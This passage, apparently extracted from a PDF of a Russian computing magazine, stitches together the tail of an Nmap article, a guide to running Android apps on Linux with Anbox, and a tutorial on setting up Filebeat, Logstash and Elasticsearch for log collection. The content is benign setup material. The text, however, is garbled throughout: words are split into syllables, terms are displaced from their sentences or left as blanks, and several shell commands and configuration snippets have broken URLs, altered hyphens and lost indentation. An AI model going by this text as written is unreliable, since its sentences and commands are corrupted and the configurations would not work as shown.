closed|filtered  —  порт  либо  зак рыт,  либо  филь тру ется  (такой  резуль тат
может дать толь ко Idle‐ска ниро вание).

•

ВМЕСТО ВЫВОДОВ
Эта статья опи сыва ет лишь часть фун кций Nmap, хоть и наибо лее полез ных.
Как  ты смог убе дить ся, фун кци ональ ность Nmap выходит далеко за  гра ницы
ска ниро вания  пор тов.  Это  мощ ный  и  слож ный  инс тру мент,  код  которо го
вылизы вал ся  десяти лети ями.  Он  быс трый,  надеж ный  и  неверо ятно 

. А глав ное — пол ностью бес плат ный и работа ет прак тичес ки вез де.
фун кци ‐

ональ ный
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UNIXOID

Су щес тву ет  мас са  эму лято ров  Android  для  всех  воз можных
опе раци онок. Худ шие из них еле тащат ся, луч шие работа ют
быс тро, а иног да даже поз воля ют поиг рать. Вто рые обыч но
дос тупны  толь ко  для Windows,  а  в  Linux  работа ют  так  себе.
Но сегод ня на ули це линук соидов праз дник: у нас появил ся
спо соб  запус кать  при ложе ния  Android  пря мо  в  Linux,
без вся кой эму ляции, тор мозов, каж дое в отдель ном окош ке
с  воз можностью  изме нения  раз мера.  Встре чай:  Anbox  —
луч ший спо соб запус ка при ложе ний Android на дес кто пе.

Нач нем с того, что   — не эму лятор. Это сис тема запус ка пол ноцен ной
сре ды  Android  пря мо  на  текущем  ядре  Linux  с  воз можностью  вывода
интерфей са  каж дого  при ложе ния  в  отдель ном  окне  с  под дер жкой  3D‐уско ‐
рения. Неч то вро де Wine, который запус кает при ложе ния Windows без необ ‐
ходимос ти  запус ка  Windows  в  вир туаль ной  машине,  но  без  при сущих  Wine
глю ков и недора боток.

Anbox

Два  глав ных  пре иму щес тва  Anbox  —  ско рость  и  бес шовная  интегра ция
с  дес кто пом.  При ложе ния  запус кают ся  безо  вся ких  прос лоек  и  эму ляции.
А  самое  глав ное —  они  работа ют  быс тро.  Во  вто рой  час ти  мы  под робнее
рас смот рим,  как  работа ет  Anbox,  а  пока  уста новим  его  и  пос мотрим,  что
это такое.

СТАВИМ
В дан ный момент Anbox под держи вает исклю читель но про цес соры архи тек ‐
туры    и  дис три бути вы Ubuntu  17.04,  16.10,  16.04,  14.04,  а  так же  Linux
Mint, Neon и Elementary. Уста нав лива ется либо с помощью самодос таточ ного
пакета  фор мата  ,  либо  с  помощью  скрип та  .  Но  так
как  оба  вари анта  работа ют  оди нако во,  а  пер вый  менее  уни вер сален,  рас ‐
смот рим толь ко вто рой.

x86_64

Snap anbox‐installer

Ubuntu
Пер вое, что необ ходимо сде лать, — это заг рузить сам скрипт и дать ему пра ‐
ва на исполне ние:

$ wget https://raw.githubusercontent.com/anbox/anbox‐installer/
master/installer.sh ‐O anbox‐installer
$ chmod +x anbox‐installer

Да лее запус каем скрипт:

$ sudo ./anbox‐installer

Скрипт поп росит написать в тер минале I AGREE, пос ле чего уста новит Anbox
в  сис тему  и  пред ложит  перезаг рузить  машину.  Пос ле  перезаг рузки  в  меню
появит ся пункт Anbox.

Ус танав лива ем Anbox в Ubuntu

Arch Linux
Anbox  мож но  запус тить  не  толь ко  в  офи циаль но  под держи ваемых  дис три ‐
бути вах,  но  и  в  дру гих  линук сах,  прос то  соб рав  его  из  исходни ков.  Про ще
все го это сде лать в Arch Linux, так как Anbox уже есть в AUR и весь про цесс
сбор ки мож но авто мати зиро вать.

Ус тановим пароч ку необ ходимых для сбор ки пакетов:

$ sudo pacman ‐S linux‐headers dkms

А затем соберем Anbox из AUR. Луч ше сде лать это с помощью AUR‐кли ента,
такого как pacaur или yaourt:

$ yaourt ‐S anbox‐image anbox‐modules‐dkms‐git anbox‐git

Да лее заг рузим необ ходимые модули ядра:

$ sudo modprobe binder_linux
$ sudo modprobe ashmem_linux

За пус тим container manager:

$ sudo systemctl start anbox‐container‐manager.service

За пус тим session manager:

$ anbox session‐manager ‐‐gles‐driver=host &

Го тово. Мож но  кли кать  по  икон ке  Anbox  на  рабочем  сто ле  или  пой ти  путем
дже дая и запус тить его пря мо из тер минала:

$ anbox launch ‐‐package=org.anbox.appmgr ‐‐component=org.anbox.
appmgr.AppViewActivity

ПРОБУЕМ
Сра зу пос ле запус ка ты уви дишь на экра не прос тей ший «менед жер при ложе ‐
ний», написан ный спе циаль но для Anbox. При ложе ний тут кот нап лакал: стан ‐
дар тные галерея, кален дарь, нас трой ки и про чее, а вот мар кета нет. И поэто ‐
му пер вое, о чем ты спро сишь: а как ста вить софт, бра тан?

Ме нед жер при ложе ний

И  вот  здесь  начина ется  инте рес ное.  Раз работ чики  Anbox  не  име ют  пра ва
вклю чать в пос тавку сво его неэму лято ра мар кет и любой дру гой софт Google,
в том чис ле сер висы Google, пока их «устрой ство» не прой дет сер тифика цию.
Устрой ство прой ти сер тифика цию не может — мар кета не будет.

Но!  В  Anbox  по  умол чанию  акти виро ван  режим  отладки  с  помощью  ADB
(который в стан дар тном Android вклю чает ся в нас трой ках для раз работ чиков,
куда  еще  надо  доб рать ся),  поэто му  уста новить  при ложе ние  мож но  с  его
помощью. Уста новить сам ADB мож но так:

$ sudo apt‐get install android‐sdk‐platform‐tools // Ubuntu
$ sudo pacman ‐S android‐tools // Arch Linux

А  теперь  самое  инте рес ное:  тебе  надо  най ти  и  ска чать  пакет  APK  нуж ного
при ложе ния.  Для  это го  мож но  исполь зовать  сайт  .  Далее  оста ется
все го лишь выпол нить такую коман ду (при мер для FX File Explorer):

apkpure

$ adb install ~/Downloads/File Explorer_v5.1.1.0_apkpure.com.apk

FX File Explorer

Го тово!  Ставь  при ложе ния,  раз вле кай ся,  до  встре чи. Шучу,  на  самом  деле
есть мно жес тво под водных кам ней. Нап ример, сра зу пос ле уста нов ки Anbox я
решил  про тес тировать,  как  в  нем  работа ет  Opera Mini,  тот  самый  бра узер,
который  уме ет  быс тро  отоб ражать  стра нич ки,  даже  если  интернет  до  тебя
доходит с помощью  . Ведь для дес кто па его нет.го луби ной поч ты

В резуль тате на экра не появи лось вот что:

$ adb install ~/Downloads/Opera Mini fast web browser_v24.0.2254.
115689_apkpure.com.apk 
Failed to install /home/j1m/Downloads/Opera Mini fast web browse
r_v24.0.2254.115689_apkpure.com.apk: Failure [INSTALL_FAILED_
NO_MATCHING_ABIS: Failed to extract native libraries, res=‐113]

Объ ясне ние это му прос тое: боль шая часть кода Opera Mini написа на на C++,
который ском пилиро ван в бинар ник для плат формы ARM. А  так  как в нашей
машине про цес сор архи тек туры  , Android забот ливо при бил при ложе ‐
ние  еще  на  эта пе  уста нов ки,  что бы мы  не мучились,  силясь  понять,  почему
оно не работа ет.

x86_64

На самом деле в мар кете пол но подоб ных при ложе ний, и с несов мести ‐
мос тями архи тек туры ты будешь встре чать ся доволь но‐таки час то.

Нас трой ки

Вто рая инте рес ная осо бен ность запус ка при ложе ний в отдель ных дес ктоп ных
окнах: далеко не каж дое при ложе ние готово сми рить ся с тем, что сей час его
личико  будут  жес тко  сжи мать  или  рас тягивать.  Боль шинс тво  сов ремен ных
при ложе ний  в  этом слу чае  поведут  себя  кор рек тно — Google  позабо тилась
об этом, ког да готови лась к реали зации под дер жки пла вающих окон в Android
7.0.  А  вот  со  ста рым  соф том  могут  воз никнуть  слож ности,  хотя  обыч но  все
закан чива ется окном фик сирован ного раз мера.

Ок на мож но делать любых раз меров и форм

Ну  и  третье.  Anbox,  выража ясь  язы ком Шек спи ра, —  это  alpha  software,  то
есть  ребята  нам  как  бы  говорят:  все  будет  пло хо  и  нес табиль но,  а  о  таких
вещах,  как  под дер жка  опре деле ния  коор динат,  камера  и  мик рофон,  ты
можешь  забыть.  Более  того,  в  некото рых  слу чаях  ты  можешь  забыть  и  об
интерне те, а session manager будет вре мя от вре мени падать, и его при дет ся
переза пус кать.

Упс…

За то!  Anbox  кор рек тно  опре деля ет  текущий  уро вень  акку муля тора,  раз мер
опе ратив ной  памяти  и  даже  жес тко го  дис ка  (точ нее,  раз дела  ).  Да  и
в  целом  работа ет  быс тро  и  не  вызыва ет  желания  его  снес ти.  Количес тво
пожира емой  опе ратив ки  —  все го  448  Мбайт  при  запущен ном  менед жере
при ложе ний.

/home

При ложе ния видят весь диск

Кноп ка  «Назад»  эму лиру ется  с  помощью  Esc.  Кла виату ру  так же  мож но
исполь зовать для навига ции по при ложе нию (Tab и стрел ки). Про мот ка либо
колеси ком, либо удер жани ем левой кноп ки мыши и дви жени ем вниз‐вверх.

Да! При чем никаких допол нитель ных шагов для это го пред при нимать не надо.
Дос таточ но  выб рать  устрой ство  с  име нем  вида  emulator‐6663  при  запус ке
про екта.

Да, она находит ся в катало ге  , но дос тупна толь ко для чте ‐
ния. Зато  ты можешь прос матри вать содер жимое при ват ных  катало гов при ‐
ложе ний ( ).

/var/lib/anbox/rootfs

data/data

Те оре тичес кая  воз можность  уста новить  Google  Play  Store  сущес тву ет.
Для  это го  необ ходимо  разоб рать  образ  фай ловой  сис темы  Android
и  интегри ровать  в  него  GApps.  Одна ко  гораз до  про ще  уста новить 

 или любой дру гой сто рон ний мар кет. Плюс акти виро вать уста нов ку
из сто рон них источни ков: Settings → Security → Unknown sources.

Yan‐
dex.Store

Очень прос то:

$ sudo apt‐get install squashfs‐tools // Ubuntu
$ sudo pacman ‐S squashfs‐tools // Arch Linux
$ unsquashfs ‐f ‐d /куда/распаковывать /var/lib/anbox/android.img

Нет. Есть две при чины, почему это сде лать нель зя. Пер вая — это дол жна быть
сбор ка Android для  . Вто рая — эта сбор ка дол жна вклю чать в себя спе ‐
цифи чес кие  .
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 запус кает каж дое при ложе ние в эму лято ре. Дру гими сло вами, ког да
ты кли каешь по икон ке при ложе ния, запус кает ся эму лятор, в нем — уре зан ‐
ная  сре да  Android,  а  уже  потом  стар тует  при ложе ние.  Anbox  гораз до  более
лег ковес ный и про изво дитель ный.

Shashlik

КАК ОНО РАБОТАЕТ
В осно ве Anbox лежит очень прос тая идея: если Android — это вир туаль ная
машина, работа ющая поверх ядра Linux, то почему бы не поп робовать запус ‐
тить при ложе ния Android в окру жении обыч ного дис три бути ва Linux. Это оче ‐
вид ная  идея,  и  она  при ходи ла  в  голову  мно гим  раз работ чикам  с  тех  пор,
как  появил ся  порт  Android  на  x86.  Некото рые  прог раммис ты  попыта лись
реали зовать  ее  через  раз мещение  окру жения  Android  в  chroot,  но  даль ше
полура бочих кон цептов дело не доходи ло (при мер:  ).ARC Welder

У раз работ чиков Anbox ушло пол тора года, что бы довес ти про ект до кон ‐
ца.  Они  смог ли  добить ся  интегра ции  при ложе ний  Android  в  дес ктоп  Linux,
обес печить  прак тичес ки  пол ную  сов мести мость,  а  глав ное  —  сде лать  так,
что бы все это работа ло быс тро, без сбо ев и не тре бова ло мно жес тва шагов
для нас трой ки.

Са мо окру жение Android (на базе све жай шего Android 7.1.1, кста ти) здесь
зам кну то  в  песоч ницу,  кон тро лиру емую  с  помощью  тех нологии  прос транств
имен  (namespaces),  той  самой,  что  лежит  в  осно ве  Docker.  Прос транс тва
имен  пол ностью  отре зают  окру жение  от  сре ды  дис три бути ва  Linux,  а  вся
работа с обо рудо вани ем идет через демон anboxd. Для вывода кар тинки 3D‐
при ложе ний  исполь зует ся  спе циаль ный  тран сля тор  OpenGL  ES →  OpenGL,
поза имс тво ван ный из офи циаль ного эму лято ра Android.

Яд ро  Linux  так же  приш лось  модифи циро вать,  а  точ нее  добавить  в  ком ‐
плект  Anbox  модули  с  реали заци ей  binder  и  ashmem,  с  помощью  которых
в Android вза имо дей ству ют ком понен ты сис темы (IPC). Перед запус ком Anbox
заг ружа ет модули в ядро и добав ляет пра вило udev для уста нов ки кор рек тных
прав дос тупа к устрой ствам   и  ./dev/binder /dev/ashmem

Каж дое  при ложе ние  в  сво ем  собс твен ном  окне  Anbox  раз меща ет
с  помощью  модифи циро ван ного  ком позит ного  менед жера  hwcomposer,
который Android исполь зует для наложе ния гра фичес ких сло ев. Hwcomposer
зап рашива ет все слои каж дого при ложе ния и отда ет их Anbox, который затем
фор миру ет инди виду аль ные окна для отдель но взя тых при ложе ний.

Все  эти  тех ничес кие  решения  поз воля ют  сде лать  Anbox  дей стви тель но
быс трым,  удоб ным  в  исполь зовании  и  эффектив ным  в  пла не  рас ходова ния
ресур сов «эму лято ром». В том чис ле в 3D‐при ложе ниях.

Anbox сос тоит из двух ком понен тов: container manager и session manager.
  управля ет  песоч ницами  с  работа ющим  внут ри  окру ‐

жени ем  Android.  Его  задача  —  кор рек тно  запус тить  сис тему  Android,  под ‐
держи вать ее работу и кор рек тно завер шить.

Container manager

,  в  свою  оче редь,  отве чает  за  ком муника цию  Android
внут ри  песоч ницы  и  с  основной  сис темой  Linux.  Его  задача  —  отве чать
на зап росы запус ка при ложе ний и рас пре делять их по раз ным окнам.

Session  manager

В целом запуск при ложе ния Android с помощью Anbox выг лядит так:
1. В ядро заг ружа ются модули binder и ashmem.
2. За пус кает ся  container  manager,  который  раз ворачи вает  песоч ницу  с  An‐
droid внут ри.

3. За пус кает ся session manager, он запус кает сре ду Android.
4. Юзер отда ет коман ду на запуск при ложе ния, которую при нима ет и обра ‐
баты вает session manager.

5. Session manager ожи дает коман ды.

Ша ги  1–3  под готав лива ют  Anbox  и  запус кают ся  один  раз,  обыч но  при  заг ‐
рузке сис темы.

Та кая  архи тек тура  поз воля ет  сде лать  запуск  при ложе ний  прак тичес ки
момен таль ным за счет неболь шого (поряд ка 400 Мбайт) овер хеда по памяти
в режиме прос тоя.

Ар хитек тура Anbox

ВЫВОДЫ
Вне вся ких сом нений, Anbox зас лужива ет вни мания. Да, у него есть проб лемы
с сов мести мостью, он не уме ет работать с тво ей камерой и мик рофоном, он
пада ет. Но это аль фа‐вер сия, и для аль фы она работа ет прек расно.

mailto:zobnin@glc.ru
http://anbox.io/
https://en.wikipedia.org/wiki/Snappy_%28package_manager%29
https://apkpure.com/
https://tools.ietf.org/html/rfc1149
https://4pda.ru/forum/index.php?showtopic=435607
https://github.com/anbox/anbox/tree/master/android
http://www.shashlik.io/
https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn?utm_source=chrome-app-launcher-info-dialog
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SYNACK

Жур налы  сер висов  и  при ложе ний  чуть  ли  не  единс твен ное
средс тво, поз воля ющее най ти источник проб лем, но обыч но
пос ле  уста нов ки  и  отладки  о  них  прос то  забыва ют.  Сов ‐
ремен ные под ходы к раз работ ке, деп лою и соп ровож дению
при ложе ний тре буют совер шенно ино го отно шения — нуж на
воз можность быс тро най ти необ ходимую информа цию. Сис ‐
темы  цен тра лизо ван ного  сбо ра  и  ана лиза  жур налов  здесь
выруча ют как никог да. Сегод ня мы раз берем, как нас тро ить
популяр ный ELK.

СТЕК ELK
Пос ле уста нов ки сер висов логи раз бро саны по катало гам и сер верам, и мак ‐
симум,  что  с  ними дела ют, — это нас тра ивают ротацию  (кста ти,  не  всег да).
Обра щают ся к жур налам, толь ко ког да обна ружи вают ся видимые сбои. Хотя
неред ко  информа ция  о  проб лемах  появ ляет ся  чуть  рань ше,  чем  пада ет
какой‐то сер вис. Цен тра лизо ван ный сбор и ана лиз логов поз воля ет решить
сра зу  нес коль ко  проб лем.  В  пер вую  оче редь  это  воз можность  пос мотреть
на все одновре мен но. Ведь сер вис час то пред став ляет ся нес коль кими под ‐
систе мами,  которые могут  быть  рас положе ны  на  раз ных  узлах,  и  если  про ‐
верять жур налы по одно му, то проб лема будет не сра зу ясна. Тра тит ся боль ‐
ше  вре мени,  и  сопос тавлять  события  при ходит ся  вруч ную.  Во‐вто рых,
повыша ем  безопас ность,  так  как  не  нуж но  обес печивать  пря мой  дос туп
на  сер вер  для  прос мотра  жур налов  тем,  кому  он  вооб ще  не  нужен,  и  тем
более объ яснять, что и где искать и куда смот реть. Нап ример, раз работ чики
не будут отвле кать адми на, что бы он нашел нуж ную информа цию. В‐треть их,
появ ляет ся  воз можность  пар сить,  обра баты вать  резуль тат  и  авто мати чес ки
отби рать  инте ресу ющие момен ты,  да  еще  и  нас тра ивать  алер ты. Осо бен но
это акту аль но пос ле вво да сер виса в работу, ког да мас сово всплы вают мел ‐
кие ошиб ки и проб лемы, которые нуж но как мож но быс трее устра нить. В‐чет ‐
вертых, хра нение в отдель ном мес те поз воля ет защитить жур налы на слу чай
взло ма или недос тупнос ти сер виса и начать ана лиз сра зу пос ле обна руже ния
проб лемы.

Есть  ком мерчес кие  и  облачные  решения  для  агре гации  и  ана лиза  жур ‐
налов — Loggly, Splunk,  Logentries  и  дру гие. Из open  source решений очень
популя рен  стек  ELK  от  Elasticsearch,  Logstash,  Kibana.  В  осно ве  ELK  лежит
пос тро енный  на  базе  биб лиоте ки  Apache  Lucene  поис ковый  дви жок 

 для индекси рова ния и поис ка информа ции в любом типе докумен тов.
Для  сбо ра  жур налов  из  мно гочис ленных  источни ков  и  цен тра лизо ван ного
хра нения исполь зует ся Logstash, который под держи вает мно жес тво вход ных
типов дан ных — это могут быть жур налы, мет рики раз ных сер висов и служб.
При получе нии он их струк туриру ет, филь тру ет, ана лизи рует, иден тифици рует
информа цию (нап ример, геокоор динаты IP‐адре са), упро щая тем самым пос ‐
леду ющий ана лиз. В даль нейшем нас инте ресу ет его работа в связ ке с Elast‐
icsearch, хотя для Logstash написа но боль шое количес тво рас ширений, поз ‐
воля ющих  нас тро ить  вывод  информа ции  прак тичес ки  в  любой  дру гой
источник.

Elastic‐
search

И  наконец,  Kibana  —  это  веб‐интерфейс  для  вывода  индекси рован ных
Elasticsearch  логов.  Резуль татом  может  быть  не  толь ко  тек сто вая  информа ‐
ция,  но  и,  что  удоб но,  диаг раммы  и  гра фики.  Он  может  визу али зиро вать
геодан ные,  стро ить  отче ты,  при  уста нов ке    ста новят ся  дос тупны ми
алер ты.  Здесь  уже  каж дый  подс тра ивает  интерфейс  под  свои  задачи.  Все
про дук ты  выпус кают ся  одной  ком пани ей,  поэто му  их  раз верты вание  и  сов ‐
мес тная  работа  не  пред став ляет  проб лем,  нуж но  толь ко  все  пра виль но
соеди нить.

X‐Pack

В зависи мос ти от инфраструк туры в ELK могут учас тво вать и дру гие при ‐
ложе ния.  Так,  для  переда чи  логов  при ложе ний  с  сер веров  на  Logstash  мы
будем  исполь зовать  Filebeat.  Кро ме  это го,  так же  дос тупны  Winlogbeat
(события  Windows  Event  Logs),  Metricbeat  (мет рики),  Packetbeat  (сетевая
информа ция) и Heartbeat (uptime).

УСТАНОВКА FILEBEAT
Для  уста нов ки  пред лага ются  apt‐  и  yum‐репози тории,  deb‐  и  rpm‐фай лы.
Метод  уста нов ки  зависит от  задач и  вер сий. Акту аль ная вер сия — 5.х. Если
все ста вит ся с нуля,  то проб лем нет. Но быва ет, нап ример, что уже исполь ‐
зует ся Elasticsearch ран них вер сий и обновле ние до пос ледней нежела тель ‐
но. Поэто му уста нов ку ком понен тов ELK + Filebeat при ходит ся выпол нять пер ‐
сональ но,  что‐то  ста вя  и  обновляя  из  пакетов,  что‐то  при  помощи  репози ‐
тория. Для удобс тва луч ше все шаги занес ти в плей бук Ansible, тем более что
в Сети уже есть готовые решения. Мы же усложнять не будем и рас смот рим
самый прос той вари ант.

Под клю чаем репози торий и ста вим пакеты:

$ sudo apt‐get install apt‐transport‐https
$ wget ‐qO ‐ https://artifacts.elastic.co/GPG‐KEY‐elasticsearch | 
sudo apt‐key add ‐
$ echo "deb https://artifacts.elastic.co/packages/5.x/apt stable 
main" | sudo tee ‐a /etc/apt/sources.list.d/elastic‐5.x.list
$ sudo apt‐get update && sudo apt‐get install filebeat

В  Ubuntu  16.04  с  Systemd  пери оди чес ки  всплы вает  неболь шая  проб лема:
некото рые сер висы, помечен ные мей нтей нером пакета как enable при стар ‐
те, на самом деле не вклю чают ся и при перезаг рузке не стар туют. Вот как раз
для про дук тов Elasticsearch это акту аль но.

$ sudo systemctl enable filebeat

Все  нас трой ки  про изво дят ся  в  кон фигура цион ном  фай ле  /etc/filebeat/file‐
beat.yml,  пос ле  уста нов ки  уже  есть  шаб лон  с  минималь ными  нас трой ками.
В этом же катало ге лежит файл filebeat.full.yml, в котором про писа ны все 

.  Если  чего‐то  не  хва тает,  то  мож но  взять  за  осно ву  его.
Файл  filebeat.template.json пред став ляет  собой шаб лон для  вывода,  исполь ‐
зуемый  по  умол чанию.  Его  при  необ ходимос ти  мож но  пере опре делить
или изме нить.

воз ‐
можные  уста нов ки

Кон фигура цион ный файл Filebeat

Нам  нуж но,  по  сути,  выпол нить  две  основные  задачи:  ука зать,  какие фай лы
брать  и  куда  отправ лять  резуль тат.  В  уста нов ках  по  умол чанию  Filebeat
собира ет  все  фай лы  в  пути  ,  это  озна чает,  что  Filebeat
соберет все фай лы в катало ге  , закан чива ющиеся на  .

/var/log/*.log
/var/log/ .log

filebeat.prospectors:
‐ input_type: log
  paths:
    ‐ /var/log/*.log
  document_type: log

Учи тывая,  что  боль шинс тво  демонов  хра нят  логи  в  сво их  под катало гах,  их
тоже сле дует про писать инди виду аль но или исполь зуя общий шаб лон:

‐ /var/log/*/*.log

Ис точни ки  с  оди нако вым  input_type,  log_type  и  document_type  мож но  ука ‐
зывать  по  одно му  в  стро ке.  Если  они  отли чают ся,  то  соз дает ся  отдель ная
запись.

‐ paths:
‐ /var/log/mysql/mysql‐error.log
fields:
  log_type: mysql‐error
‐ paths:
‐ /var/log/mysql/mysql‐slow.log
fields:
  log_type: mysql‐slow
...
‐ paths:
‐ /var/log/nginx/access.log
  document_type: nginx‐access
‐ paths:
‐ /var/log/nginx/error.log
  document_type: nginx‐error

Под держи вают ся все типы, о которых зна ет  .Elasticsearch
До пол нитель ные опции поз воля ют отоб рать толь ко опре делен ные фай лы

и события. Нап ример, нам не нуж но смот реть архи вы внут ри катало гов:

exclude_files: [".gz$"]

По  умол чанию  экспор тиру ются  все  стро ки.  Но  при  помощи  регуляр ных
выраже ний мож но вклю чить и исклю чить вывод опре делен ных дан ных в File‐
beat. Их мож но ука зывать для каж дого paths.

include_lines: ['^ERR', '^WARN']
exclude_lines: ['^DBG']

Ес ли опре деле ны оба вари анта, Filebeat сна чала выпол няет  ,
а  затем  .  Порядок,  в  котором  они  про писа ны,  зна чения
не име ет. Кро ме это го, в опи сании мож но исполь зовать теги, поля, кодиров ку
и так далее.

include_lines
exclude_lines

Те перь перехо дим к раз делу Outputs. Про писы ваем, куда будем отда вать
дан ные.  В  шаб лоне  уже  есть  уста нов ки  для  Elasticsearch  и  Logstash.  Нам
нужен вто рой.

output.logstash:
hosts: ["localhost:5044"]

Здесь  самый  прос той  слу чай.  Если  отда ем  на  дру гой  узел,  то  желатель но
исполь зовать авто риза цию по клю чу. В фай ле есть шаб лон.

Что бы пос мотреть резуль тат, мож но выводить его в файл:

output:
    ...
    file:
path: /tmp/filebeat

Не лиш ними будут нас трой ки ротации:

shipper:
    logging:
    files:
    rotateeverybytes: 10485760 # = 10MB

Это  минимум.  На  самом  деле  парамет ров  мож но  ука зать  боль ше.  Все  они
есть в full‐фай ле. Про веря ем нас трой ки:

$ filebeat.sh ‐configtest ‐e
....
Config OK

При меня ем:

$ sudo systemctl start filebeat
$ sudo systemctl status filebeat

Сер вис  может  работать,  но  это  не  зна чит,  что  все  пра виль но.  Луч ше  пос ‐
мотреть  в  жур нал    и  убе дить ся,  что  там  нет
оши бок. Про верим:

/var/log/filebeat/filebeat

$ curl ‐XPUT 'http://localhost:9200/_template/filebeat' ‐d@/etc/
filebeat/filebeat.template.json
{"acknowledged":true}

Еще  важ ный  момент.  Не  всег да  жур налы  по  умол чанию  содер жат  нуж ную
информа цию, поэто му, веро ятно, сле дует перес мотреть и изме нить фор мат,
если есть такая воз можность. В ана лизе работы nginx неп лохо помога ет ста ‐
тис тика по вре мени зап роса.

$ sudo nano /etc/nginx/nginx.conf
log_format logstash  '$remote_addr ‐ [$time_local] $host "$request" '
    '$status $body_bytes_sent "$http_referer" '
    '"$http_user_agent" $request_time '
    '$upstream_response_time $request_uuid';
access_log /var/log/nginx/access.log logstash;

СТАВИМ LOGSTASH
Для  Logstash  нуж на  Java  8.  Девятая  вер сия  не  под держи вает ся.  Это  может
быть офи циаль ная Java SE или OpenJDK, име ющий ся в репози тори ях дис три ‐
бути вов Linux.

$ sudo apt install logstash
$ sudo systemctl enable logstash

Кон вей ер  Logstash  име ет  два  обя затель ных  эле мен та:    и  .
И  необя затель ный  —  .  Пла гины  вво да  берут  дан ные  из  источни ка,
выход ные — записы вают по наз начению, филь тры изме няют дан ные по ука ‐
зан ному шаб лону. Флаг   поз воля ет ука зать кон фигура цию непос редс твен ‐
но в коман дной стро ке, что мож но исполь зовать для тес тирова ния. Запус тим
самый прос той кон вей ер:

input output
filter

‐e

$ /usr/share/logstash/bin/logstash ‐e 'input { stdin { } } output { 
stdout {} }'

Он ничего умно го не дела ет, прос то выводит то, что приш ло на  . Вво ‐
дим любое сооб щение, и Logstash его про дуб лиру ет, добавив мет ку вре мени.

stdin

Прос тая про вер ка Logstash

Все  кон фигура цион ные  фай лы  находят ся  в  .  Нас трой ки  в 
,    опре деля ют  парамет ры

запус ка, в   парамет ры работы самого сер виса. Кон вей еры опи ‐
сыва ются в фай лах в  . Здесь пока нет ничего. Как рас ‐
полагать филь тры, каж дый реша ет сам. Мож но под клю чения к сер висам опи ‐
сывать  в  одном  фай ле,  раз делять  фай лы  по  наз начению —  , 
и  . Как кому удоб но.

/etc/logstash /
etc/logstash/startup.options jvm.options

logstash.yml
/etc/logstash/conf.d

input output
filter
Под клю чаем ся к Filebeat.

$ sudo nano /etc/logstash/conf.d/01‐input.conf
input {
  beats {
  port => 5044
  }
}

Здесь же при необ ходимос ти ука зыва ются сер тифика ты, которые тре буют ся
для  аутен тифика ции  и  защиты  соеди нения.  Logstash  самос тоятель но  может
брать информа цию с локаль ного узла.

input {
  file {
  path => "/var/log/nginx/*access*"
  }
}

В при мере beats и file — это наз вания соот ветс тву ющих пла гинов. Пол ный их
спи сок  для  inputs,  outputs  и  filter  и  под держи ваемые  парамет ры  дос тупны
на  .сай те

Пос ле уста нов ки в сис тему уже есть некото рые пла гины. Их спи сок про ще
получить при помощи спе циаль ной коман ды:

$ /usr/share/logstash/bin/logstash‐plugin list
$ /usr/share/logstash/bin/logstash‐plugin list ‐‐group output

Све ряем спи сок с сай том, обновля ем име ющиеся и ста вим нуж ный:

$ /usr/share/logstash/bin/logstash‐plugin update
$ /usr/share/logstash/bin/logstash‐plugin install 
logstash‐output‐geoip ‐‐no‐verify

Ес ли сис тем мно го, то мож но исполь зовать 
 для соз дания пакета и рас простра нения на дру гие сис темы.

logstash‐plugin prepare‐off‐
line‐pack

От даем дан ные на Elasticsearch.

$ sudo nano /etc/logstash/conf.d/02‐output.conf
output {
  elasticsearch { 
  hosts => ["localhost:9200"] 
  }
}

И  самое  инте рес ное — филь тры.  Соз даем файл,  который  будет  обра баты ‐
вать дан ные с типом  .nginx‐access

$ sudo nano /etc/logstash/conf.d/03‐nginx‐filter.conf
filter {
    if [type] == "nginx‐access" {
        grok {
                match => { "message" => "%{NGINXACCESS}" }
            overwrite => [ "message" ]
        }
        date {
                locale => "en"
            match => [ "timestamp" , "dd/MMM/YYYY:HH:mm:ss Z" ]
        }
    }
}

Для  ана лиза  дан ных  в  Logstash может  исполь зовать ся  нес коль ко  .
Grok,  навер ное,  луч ший  вари ант,  поз воля ющий  отоб рать  любые  нес трук ‐
туриро ван ные  дан ные  во  что‐то  струк туриро ван ное  и  зап рашива емое.
По  умол чанию  Logstash  содер жит  приб лизитель но  120  шаб лонов.  Прос ‐
мотреть их мож но в  . Если их не хва тает, лег ко добавить свои пра ‐
вила,  ука зав  пря мо  в  стро ке  match,  что  очень  неудоб но,  или  про писав  все
в отдель ном фай ле, задав уни каль ное имя пра вилу и ска зав Logstash, где их
искать (если не уста нов лена перемен ная patterns_dir):

филь тров

github.com

patterns_dir => ["./patterns"] 

Для  про вер ки  кор рек тнос ти  пра вил  мож но  исполь зовать  сайт 
или  , там же есть еще готовые пат терны для раз ных при ложе ‐
ний.

grokdebug
grokconstructor

Соз дадим филь тр  для  отбо ра  события NGINXACCESS  для  nginx. Фор мат
прос той — имя шаб лона и соот ветс тву ющее ему регуляр ное выраже ние.

$ mkdir /etc/logstash/patterns
$ cat /etc/logstash/patterns/nginx    
NGUSERNAME [a‐zA‐Z.@‐+_%]+
NGUSER %{NGUSERNAME}
NGINXACCESS %{IPORHOST:http_host} %{IPORHOST:clientip} [%    {
HTTPDATE:timestamp}] "(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{
NUMBER:httpversion})?|%{DATA:rawrequest})" %{NUMBER:response} (?:%{
NUMBER:bytes}|‐) %{QS:referrer} %{QS:agent} %{NUMBER:request_time:
float} ( %{UUID:request_id})

Пе реза пус каем:

$ sudo service logstash restart

Убеж даем ся в жур налах, что все работа ет.

$ tail ‐f /var/log/logstash/logstash‐plain.log 
[INFO ][logstash.inputs.beats  ] Beats inputs: Starting input 
listener {:address=>"localhost:5044"}
[INFO ][logstash.pipeline  ] Pipeline main started
[INFO ][logstash.agent  ] Successfully started Logstash API 
endpoint {:port=>9600}

СТАВИМ ELASTICSEARCH И KIBANA
Са мое вре мя пос тавить Elasticsearch:

$ sudo apt install elasticsearch
$ sudo systemctl enable elasticsearch

По умол чанию Elasticsearch слу шает локаль ный 9200‐й порт. В боль шинс тве
слу чаев  луч ше  так  и  оста вить,  что бы  пос торон ний  не  мог  получить  дос туп.
Если  сер вис  находит ся  внут ри  сети  или дос тупен  по VPN,  то мож но  ука зать
внеш ний IP и изме нить порт, если он уже занят.

$ sudo nano /etc/elasticsearch/elasticsearch.yml
#network.host: 192.168.0.1
#http.port: 9200

Так же сто ит пом нить, что Elasticsearch любит ОЗУ (по умол чанию запус кает ся
с  ):  воз можно,  при дет ся  поиг рать  зна чени ем,  умень шая
или уве личи вая его в фай ле   не выше 50%
ОЗУ.

